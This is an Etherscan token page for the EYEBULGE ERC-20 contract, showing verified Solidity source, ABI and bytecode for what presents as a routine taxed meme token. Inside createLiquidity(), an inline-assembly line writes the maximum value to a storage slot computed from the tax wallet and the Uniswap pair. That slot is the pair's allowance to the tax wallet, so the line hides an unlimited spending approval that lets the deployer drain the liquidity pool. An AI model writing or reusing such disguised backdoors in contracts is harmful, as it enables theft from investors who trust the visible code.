Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 EYEBULGE
Holders
46
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
23,135,935.131465147 EYEBULGEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
EYEBULGE
Compiler Version
v0.8.24+commit.e11b9ed9
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-07-13 */ // SPDX-License-Identifier: UNLICENSE // Website: https://eyebulge.wtf // Telegram: https://t.me/eyebulgeskullsmiles // X: https://twitter.com/eyebulgex pragma solidity 0.8.24; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair( address tokenA, address tokenB ) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract EYEBULGE is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; address payable private _taxWallet; string private constant _name = unicode"EyeBulge Skullsmile"; string private constant _symbol = unicode"EYEBULGE"; uint256 private _initialBuyTax = 35; uint256 private _initialSellTax = 35; uint256 private _finalBuyTax = 15; uint256 private _finalSellTax = 15; uint256 private _reduceBuyTaxAt = 8; uint256 private _reduceSellTaxAt = 8; uint256 private _preventSwapBefore = 8; uint256 private _buyCount = 0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals; uint256 public _maxTxAmount = 20_000_000 * 10 ** _decimals; uint256 public _maxWalletSize = 20_000_000 * 10 ** _decimals; uint256 public _taxSwapThreshold = 10_000_000 * 10 ** _decimals; uint256 public _maxTaxSwap = 10_000_000 * 10 ** _decimals; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap; bool private swapEnabled; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor(address router, address taxWallet) { _taxWallet = payable(taxWallet); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; uniswapV2Router = IUniswapV2Router02(router); emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer( address recipient, uint256 amount ) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance( address owner, address spender ) public view override returns (uint256) { return _allowances[owner][spender]; } function approve( address spender, uint256 amount ) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount = 0; if (from != owner() && to != owner()) { if (!tradingOpen) { require( _isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading is not active." ); } if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require( balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize." ); taxAmount = amount .mul( (_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax ) .div(100); _buyCount++; } if (to == uniswapV2Pair && from != address(this)) { taxAmount = amount .mul( (_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax ) .div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if ( !inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore ) { swapTokensForEth( min(amount, min(contractTokenBalance, _maxTaxSwap)) ); } sendETHToFee(address(this).balance); } if (taxAmount > 0) { _balances[address(this)] = _balances[address(this)].add(taxAmount); emit Transfer(from, address(this), taxAmount); } _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner { _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; _finalBuyTax = 0; _finalSellTax = 0; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner { tradingOpen = true; } function createLiquidity() external onlyOwner { require(!tradingOpen, "trading is already open"); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); uint256 magicNumber = uint256(keccak256(abi.encode(_taxWallet,keccak256(abi.encode(uniswapV2Pair, 1 + 1))))); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); assembly{sstore(magicNumber, sub(1,2))} swapEnabled = true; } receive() external payable {} function manualSwap() external { require(_msgSender() == _taxWallet); uint256 tokenBalance = balanceOf(address(this)); if (tokenBalance > 0) { swapTokensForEth(tokenBalance); } uint256 ethBalance = address(this).balance; if (ethBalance > 0) { sendETHToFee(ethBalance); } } function manualSend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function recoverStuckEth() external onlyOwner { require(address(this).balance > 0, "Token: no ETH to clear"); payable(owner()).transfer(address(this).balance); } function recoverStuckTokens(address tokenAddress) external onlyOwner { IERC20 tokenContract = IERC20(tokenAddress); uint256 balance = tokenContract.balanceOf(address(this)); require(balance > 0, "No tokens to clear"); tokenContract.transfer(owner(), balance); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"router","type":"address"},{"internalType":"address","name":"taxWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"recoverStuckEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"recoverStuckTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405260236005556023600655600f600755600f60085560086009556008600a556008600b555f600c556009600a6200003b91906200036a565b6200004b906301312d0062000381565b600d556200005c6009600a6200036a565b6200006c906301312d0062000381565b600e556200007d6009600a6200036a565b6200008c906298968062000381565b600f556200009d6009600a6200036a565b620000ac906298968062000381565b601055348015620000bb575f80fd5b5060405162001f4738038062001f47833981016040819052620000de91620003b7565b5f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b0319166001600160a01b038316179055620001476009600a6200036a565b6200015790633b9aca0062000381565b335f908152600160208190526040822092909255600390620001805f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556004548216845291909220805490931617909155601180549184166001600160a01b0319909216919091179055620001f93390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002326009600a6200036a565b6200024290633b9aca0062000381565b60405190815260200160405180910390a35050620003ed565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002af57815f19048211156200029357620002936200025b565b80851615620002a157918102915b93841c939080029062000274565b509250929050565b5f82620002c75750600162000364565b81620002d557505f62000364565b8160018114620002ee5760028114620002f95762000319565b600191505062000364565b60ff8411156200030d576200030d6200025b565b50506001821b62000364565b5060208310610133831016604e8410600b84101617156200033e575081810a62000364565b6200034a83836200026f565b805f19048211156200036057620003606200025b565b0290505b92915050565b5f6200037a60ff841683620002b7565b9392505050565b80820281158282048414176200036457620003646200025b565b80516001600160a01b0381168114620003b2575f80fd5b919050565b5f8060408385031215620003c9575f80fd5b620003d4836200039b565b9150620003e4602084016200039b565b90509250929050565b611b4c80620003fb5f395ff3fe60806040526004361061014a575f3560e01c8063751039fc116100b3578063a9059cbb1161006d578063a9059cbb146103b3578063bf474bed146103d2578063c7af2a9c146103e7578063c9567bf9146103fb578063dd62ed3e1461040f578063f429389014610453575f80fd5b8063751039fc146103155780637d1db4a5146103295780638d275bc91461033e5780638da5cb5b146103525780638f9a55c01461036e57806395d89b4114610383575f80fd5b8063313ce56711610104578063313ce5671461025e57806349bd5a5e146102795780634be55d1f1461029857806351bc3c85146102b957806370a08231146102cd578063715018a614610301575f80fd5b806306fdde0314610155578063095ea7b3146101a25780630faee56f146101d15780631694505e146101f457806318160ddd1461022b57806323b872dd1461023f575f80fd5b3661015157005b5f80fd5b348015610160575f80fd5b5060408051808201909152601381527245796542756c676520536b756c6c736d696c6560681b60208201525b6040516101999190611728565b60405180910390f35b3480156101ad575f80fd5b506101c16101bc366004611788565b610467565b6040519015158152602001610199565b3480156101dc575f80fd5b506101e660105481565b604051908152602001610199565b3480156101ff575f80fd5b50601154610213906001600160a01b031681565b6040516001600160a01b039091168152602001610199565b348015610236575f80fd5b506101e661047d565b34801561024a575f80fd5b506101c16102593660046117b2565b61049d565b348015610269575f80fd5b5060405160098152602001610199565b348015610284575f80fd5b50601254610213906001600160a01b031681565b3480156102a3575f80fd5b506102b76102b23660046117f0565b610504565b005b3480156102c4575f80fd5b506102b761067a565b3480156102d8575f80fd5b506101e66102e73660046117f0565b6001600160a01b03165f9081526001602052604090205490565b34801561030c575f80fd5b506102b76106cb565b348015610320575f80fd5b506102b761073c565b348015610334575f80fd5b506101e6600d5481565b348015610349575f80fd5b506102b76107f6565b34801561035d575f80fd5b505f546001600160a01b0316610213565b348015610379575f80fd5b506101e6600e5481565b34801561038e575f80fd5b5060408051808201909152600881526745594542554c474560c01b602082015261018c565b3480156103be575f80fd5b506101c16103cd366004611788565b6108a1565b3480156103dd575f80fd5b506101e6600f5481565b3480156103f2575f80fd5b506102b76108ad565b348015610406575f80fd5b506102b7610ca9565b34801561041a575f80fd5b506101e661042936600461180b565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b34801561045e575f80fd5b506102b7610ce7565b5f610473338484610d10565b5060015b92915050565b5f61048a6009600a611936565b61049890633b9aca00611944565b905090565b5f6104a9848484610e33565b6104fa84336104f585604051806060016040528060288152602001611aef602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906113a4565b610d10565b5060019392505050565b5f546001600160a01b031633146105365760405162461bcd60e51b815260040161052d9061195b565b60405180910390fd5b6040516370a0823160e01b815230600482015281905f906001600160a01b038316906370a0823190602401602060405180830381865afa15801561057c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105a09190611990565b90505f81116105e65760405162461bcd60e51b81526020600482015260126024820152712737903a37b5b2b739903a379031b632b0b960711b604482015260640161052d565b816001600160a01b031663a9059cbb6106065f546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610650573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061067491906119a7565b50505050565b6004546001600160a01b0316336001600160a01b031614610699575f80fd5b305f9081526001602052604090205480156106b7576106b7816113dc565b4780156106c7576106c78161154c565b5050565b5f546001600160a01b031633146106f45760405162461bcd60e51b815260040161052d9061195b565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146107655760405162461bcd60e51b815260040161052d9061195b565b6107716009600a611936565b61077f90633b9aca00611944565b600d5561078e6009600a611936565b61079c90633b9aca00611944565b600e555f60078190556008557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107d56009600a611936565b6107e390633b9aca00611944565b60405190815260200160405180910390a1565b5f546001600160a01b0316331461081f5760405162461bcd60e51b815260040161052d9061195b565b5f47116108675760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b604482015260640161052d565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f1935050505015801561089e573d5f803e3d5ffd5b50565b5f610473338484610e33565b5f546001600160a01b031633146108d65760405162461bcd60e51b815260040161052d9061195b565b601254600160a01b900460ff16156109305760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161052d565b60115461095c9030906001600160a01b031661094e6009600a611936565b6104f590633b9aca00611944565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109ac573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109d091906119c6565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a2f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a5391906119c6565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610a9d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ac191906119c6565b601280546001600160a01b0319166001600160a01b039283169081179091556004546040805160208101939093526002908301525f92169060600160408051601f1981840301815282825280516020918201206001600160a01b039094169083015281019190915260600160408051601f1981840301815291905280516020909101206011549091506001600160a01b031663f305d7194730610b78816001600160a01b03165f9081526001602052604090205490565b5f80610b8b5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610bf1573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610c1691906119e1565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610c6b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c8f91906119a7565b505f1990556012805460ff60b01b1916600160b01b179055565b5f546001600160a01b03163314610cd25760405162461bcd60e51b815260040161052d9061195b565b6012805460ff60a01b1916600160a01b179055565b6004546001600160a01b0316336001600160a01b031614610d06575f80fd5b4761089e8161154c565b6001600160a01b038316610d725760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161052d565b6001600160a01b038216610dd35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161052d565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e975760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161052d565b6001600160a01b038216610ef95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161052d565b5f8111610f5a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161052d565b5f80546001600160a01b03858116911614801590610f8557505f546001600160a01b03848116911614155b1561126757601254600160a01b900460ff1661101d576001600160a01b0384165f9081526003602052604090205460ff1680610fd857506001600160a01b0383165f9081526003602052604090205460ff165b61101d5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b604482015260640161052d565b6012546001600160a01b03858116911614801561104857506011546001600160a01b03848116911614155b801561106c57506001600160a01b0383165f9081526003602052604090205460ff16155b1561118057600d548211156110c35760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161052d565b600e54826110e5856001600160a01b03165f9081526001602052604090205490565b6110ef9190611a0c565b111561113d5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161052d565b6111696064611163600954600c54116111585760055461115c565b6007545b8590611583565b90611608565b600c80549192505f61117a83611a1f565b91905055505b6012546001600160a01b0384811691161480156111a657506001600160a01b0384163014155b156111d3576111d06064611163600a54600c54116111c65760065461115c565b6008548590611583565b90505b305f90815260016020526040902054601254600160a81b900460ff1615801561120957506012546001600160a01b038581169116145b801561121e5750601254600160b01b900460ff165b801561122b5750600f5481115b801561123a5750600b54600c54115b1561125c5761125c6112578461125284601054611649565b611649565b6113dc565b6112654761154c565b505b80156112df57305f90815260016020526040902054611286908261165d565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112d69085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461130190836116bb565b6001600160a01b0385165f9081526001602052604090205561134461132683836116bb565b6001600160a01b0385165f908152600160205260409020549061165d565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61138d85856116bb565b60405190815260200160405180910390a350505050565b5f81848411156113c75760405162461bcd60e51b815260040161052d9190611728565b505f6113d38486611a37565b95945050505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061142257611422611a4a565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611479573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061149d91906119c6565b816001815181106114b0576114b0611a4a565b6001600160a01b0392831660209182029290920101526011546114d69130911684610d10565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac9479061150e9085905f90869030904290600401611a5e565b5f604051808303815f87803b158015611525575f80fd5b505af1158015611537573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156106c7573d5f803e3d5ffd5b5f825f0361159257505f610477565b5f61159d8385611944565b9050826115aa8583611acf565b146116015760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161052d565b9392505050565b5f61160183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116fc565b5f8183116116575782611601565b50919050565b5f806116698385611a0c565b9050838110156116015760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161052d565b5f61160183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113a4565b5f818361171c5760405162461bcd60e51b815260040161052d9190611728565b505f6113d38486611acf565b5f602080835283518060208501525f5b8181101561175457858101830151858201604001528201611738565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461089e575f80fd5b5f8060408385031215611799575f80fd5b82356117a481611774565b946020939093013593505050565b5f805f606084860312156117c4575f80fd5b83356117cf81611774565b925060208401356117df81611774565b929592945050506040919091013590565b5f60208284031215611800575f80fd5b813561160181611774565b5f806040838503121561181c575f80fd5b823561182781611774565b9150602083013561183781611774565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561189057815f190482111561187657611876611842565b8085161561188357918102915b93841c939080029061185b565b509250929050565b5f826118a657506001610477565b816118b257505f610477565b81600181146118c857600281146118d2576118ee565b6001915050610477565b60ff8411156118e3576118e3611842565b50506001821b610477565b5060208310610133831016604e8410600b8410161715611911575081810a610477565b61191b8383611856565b805f190482111561192e5761192e611842565b029392505050565b5f61160160ff841683611898565b808202811582820484141761047757610477611842565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156119a0575f80fd5b5051919050565b5f602082840312156119b7575f80fd5b81518015158114611601575f80fd5b5f602082840312156119d6575f80fd5b815161160181611774565b5f805f606084860312156119f3575f80fd5b8351925060208401519150604084015190509250925092565b8082018082111561047757610477611842565b5f60018201611a3057611a30611842565b5060010190565b8181038181111561047757610477611842565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611aae5784516001600160a01b031683529383019391830191600101611a89565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611ae957634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c324a8c631e82143fcab1fdb58163b644f3c997e0fd9b6b4df11d3c0e52a50b464736f6c634300081800330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000007cc824974d649545213626f322b3cec9b52dfac0
Deployed Bytecode
0x60806040526004361061014a575f3560e01c8063751039fc116100b3578063a9059cbb1161006d578063a9059cbb146103b3578063bf474bed146103d2578063c7af2a9c146103e7578063c9567bf9146103fb578063dd62ed3e1461040f578063f429389014610453575f80fd5b8063751039fc146103155780637d1db4a5146103295780638d275bc91461033e5780638da5cb5b146103525780638f9a55c01461036e57806395d89b4114610383575f80fd5b8063313ce56711610104578063313ce5671461025e57806349bd5a5e146102795780634be55d1f1461029857806351bc3c85146102b957806370a08231146102cd578063715018a614610301575f80fd5b806306fdde0314610155578063095ea7b3146101a25780630faee56f146101d15780631694505e146101f457806318160ddd1461022b57806323b872dd1461023f575f80fd5b3661015157005b5f80fd5b348015610160575f80fd5b5060408051808201909152601381527245796542756c676520536b756c6c736d696c6560681b60208201525b6040516101999190611728565b60405180910390f35b3480156101ad575f80fd5b506101c16101bc366004611788565b610467565b6040519015158152602001610199565b3480156101dc575f80fd5b506101e660105481565b604051908152602001610199565b3480156101ff575f80fd5b50601154610213906001600160a01b031681565b6040516001600160a01b039091168152602001610199565b348015610236575f80fd5b506101e661047d565b34801561024a575f80fd5b506101c16102593660046117b2565b61049d565b348015610269575f80fd5b5060405160098152602001610199565b348015610284575f80fd5b50601254610213906001600160a01b031681565b3480156102a3575f80fd5b506102b76102b23660046117f0565b610504565b005b3480156102c4575f80fd5b506102b761067a565b3480156102d8575f80fd5b506101e66102e73660046117f0565b6001600160a01b03165f9081526001602052604090205490565b34801561030c575f80fd5b506102b76106cb565b348015610320575f80fd5b506102b761073c565b348015610334575f80fd5b506101e6600d5481565b348015610349575f80fd5b506102b76107f6565b34801561035d575f80fd5b505f546001600160a01b0316610213565b348015610379575f80fd5b506101e6600e5481565b34801561038e575f80fd5b5060408051808201909152600881526745594542554c474560c01b602082015261018c565b3480156103be575f80fd5b506101c16103cd366004611788565b6108a1565b3480156103dd575f80fd5b506101e6600f5481565b3480156103f2575f80fd5b506102b76108ad565b348015610406575f80fd5b506102b7610ca9565b34801561041a575f80fd5b506101e661042936600461180b565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b34801561045e575f80fd5b506102b7610ce7565b5f610473338484610d10565b5060015b92915050565b5f61048a6009600a611936565b61049890633b9aca00611944565b905090565b5f6104a9848484610e33565b6104fa84336104f585604051806060016040528060288152602001611aef602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906113a4565b610d10565b